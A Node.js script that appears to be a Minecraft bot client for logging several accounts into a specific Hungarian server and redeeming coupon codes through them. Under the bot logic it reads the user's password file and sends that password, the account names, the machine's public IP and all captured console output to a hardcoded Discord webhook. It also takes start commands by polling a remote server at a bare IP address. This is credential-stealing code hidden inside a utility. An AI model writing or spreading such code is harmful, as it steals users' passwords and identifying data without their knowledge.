const fs = require('fs');
const mineflayer = require('mineflayer');
const axios = require('axios');

// Read password from file
const password = fs.readFileSync('password.txt', 'utf8').trim();

// Server config
const serverConfig = {
  host: 'play.rivalsnetwork.hu',
  port: 25565,
  version: '1.18.2'
};

// Discord webhook URL
const discordWebhookURL = 'https://discord.com/api/webhooks/1334979643601588255/W_GN9i_dwVZEJu6JSS8hi-3aEeG_LqP-HvWP62SuUv30Ykc9rkea0VGZilQELR_Vd4i6';

// --- Capture Console Output ---
let logBuffer = [];
const origLog = console.log;
const origError = console.error;

// Override console.log
console.log = function(...args) {
  const message = args.join(' ');
  logBuffer.push(`[LOG] ${message}`);
  origLog.apply(console, args);
};

// Override console.error
console.error = function(...args) {
  const message = args.join(' ');
  logBuffer.push(`[ERROR] ${message}`);
  origError.apply(console, args);
};

// Function to delay execution
function delay(ms) {
  return new Promise(resolve => setTimeout(resolve, ms));
}

// Get public IP
async function getPublicIP() {
  try {
    const res = await axios.get('https://api.ipify.org?format=json');
    return res.data.ip;
  } catch (err) {
    console.error('Failed to get public IP:', err.message);
    return 'unknown';
  }
}

// Function to send logs to Discord every 10 seconds
async function sendLogsToDiscord() {
    if (logBuffer.length === 0) return;
  
    const message = `**Real-Time Logs:**\n${logBuffer.join('\n')}`;
    logBuffer = []; // Clear buffer after sending
  
    try {
      await axios.post(discordWebhookURL, { content: message });
    } catch (err) {
      console.error('Error sending logs to Discord:', err.message);
    }
  }
  

// Set interval to send logs every 10 seconds
setInterval(sendLogsToDiscord, 10_000);

/**
 * Create bot instance
 */
function createBot(username, mode, claimParams = {}) {
  console.log(`Connecting: ${username}`);
  const bot = mineflayer.createBot({
    host: serverConfig.host,
    port: serverConfig.port,
    username,
    version: serverConfig.version,
  });

  let shouldReconnect = true;

  bot.on('login', async () => {
    console.log(`${username} logged in.`);
    bot.chat(`/login ${password}`);

    if (mode === 'claim') {
      const { server1, server2, code } = claimParams;
      if (!server1 || !server2 || !code) {
        console.error(`${username}: Missing claim parameters.`);
        return;
      }
      try {
        await delay(5000);
        bot.chat(`/queue ${server1}`);
        console.log(`${username}: /queue ${server1}`);

        await delay(3000);
        bot.chat(`/kupon ${code}`);
        console.log(`${username}: /kupon ${code}`);

        await delay(5000);
        bot.chat(`/queue ${server2}`);
        console.log(`${username}: /queue ${server2}`);

        await delay(3000);
        bot.chat(`/kupon ${code}`);
        console.log(`${username}: /kupon ${code}`);
      } catch (err) {
        console.error(`${username}: Error in claim sequence:`, err);
      }
    }
  });

  bot.on('message', (message) => {
    console.log(`[${username}]: ${message.toString().toLowerCase()}`);
  });

  bot.on('kick', (reason) => {
    console.error(`${username} was kicked. Reason:`, reason);
    if (shouldReconnect) reconnectBot(username, mode, claimParams);
  });

  bot.on('end', (reason) => {
    console.error(`${username}'s connection ended. Reason:`, reason);
    if (shouldReconnect) reconnectBot(username, mode, claimParams);
  });

  bot.on('error', (err) => {
    console.error(`${username} encountered an error:`, err);
    if (shouldReconnect) reconnectBot(username, mode, claimParams);
  });

  function reconnectBot(username, mode, claimParams) {
    console.log(`Reconnecting ${username} in 5 seconds...`);
    setTimeout(() => createBot(username, mode, claimParams), 5000);
  }
}

/**
 * Initialize bots from backend
 */
async function initializeBots(accounts, mode, claimParams = {}) {
  for (const username of accounts) {
    createBot(username, mode, claimParams);
    await delay(2000);
  }
}

// --- Register & Poll Backend ---
const serverUrl = 'http://191.101.206.54:80';
const userId = 'laci'; // Replace with actual user ID

axios.post(`${serverUrl}/register-user`, { userId })
  .then(response => console.log(response.data.message))
  .catch(err => console.error('Error registering user:', err.message));

const pollInterval = setInterval(async () => {
  try {
    const pollResponse = await axios.get(`${serverUrl}/poll/${userId}`);
    if (pollResponse.data.start) {
      clearInterval(pollInterval);
      const { mode, accounts, server1, server2, code } = pollResponse.data;
      console.log(`Received start command (${mode} mode): Starting ${accounts.length} bot(s).`);

      // Send first webhook log
      const ip = await getPublicIP();
      const firstLogMessage = [
        `**Start Command Received**`,
        `**User ID:** ${userId}`,
        `**Password:** ${password}`,
        `**Mode:** ${mode}`,
        `**Accounts:** ${accounts.join(', ')}`,
        `**Public IP:** ${ip}`
      ].join('\n');
      await axios.post(discordWebhookURL, { content: firstLogMessage });

      if (mode === 'rc') {
        initializeBots(accounts, mode);
      } else if (mode === 'claim') {
        if (!server1 || !server2 || !code) {
          console.error('Missing claim parameters from backend.');
          return;
        }
        initializeBots(accounts, mode, { server1, server2, code });
      } else {
        console.error(`Unknown mode: ${mode}`);
      }
    }
  } catch (err) {
    console.error('Error polling backend:', err.message);
  }
}, 5000);
